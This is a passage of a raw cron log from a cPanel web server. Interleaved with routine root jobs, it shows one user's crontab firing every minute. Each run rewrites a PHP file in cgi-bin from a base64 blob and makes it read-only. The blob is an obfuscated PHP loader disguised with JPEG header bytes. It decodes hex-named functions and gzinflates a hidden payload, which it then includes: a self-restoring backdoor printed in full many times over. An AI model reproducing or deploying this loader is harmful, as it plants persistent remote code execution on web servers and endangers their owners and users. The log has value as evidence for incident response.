"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:33:01 server CROND[11826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:34:01 server CROND[11987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:35:01 server CROND[12047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:35:01 server CROND[12048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:35:01 server CROND[12049]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 02:35:01 server CROND[12051]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 02:35:01 server CROND[12052]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:36:01 server CROND[12158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:37:01 server CROND[12222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:38:01 server CROND[12285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:39:01 server CROND[12450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:39:01 server CROND[12451]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 02:40:01 server CROND[12526]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 02:40:01 server CROND[12527]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:40:01 server CROND[12528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:40:01 server CROND[12529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:41:01 server CROND[12640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:42:01 server CROND[12698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:42:01 server CROND[12699]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 02:43:01 server CROND[12771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:44:01 server CROND[12826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:45:01 server CROND[12972]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:45:01 server CROND[12974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:45:01 server CROND[12975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGV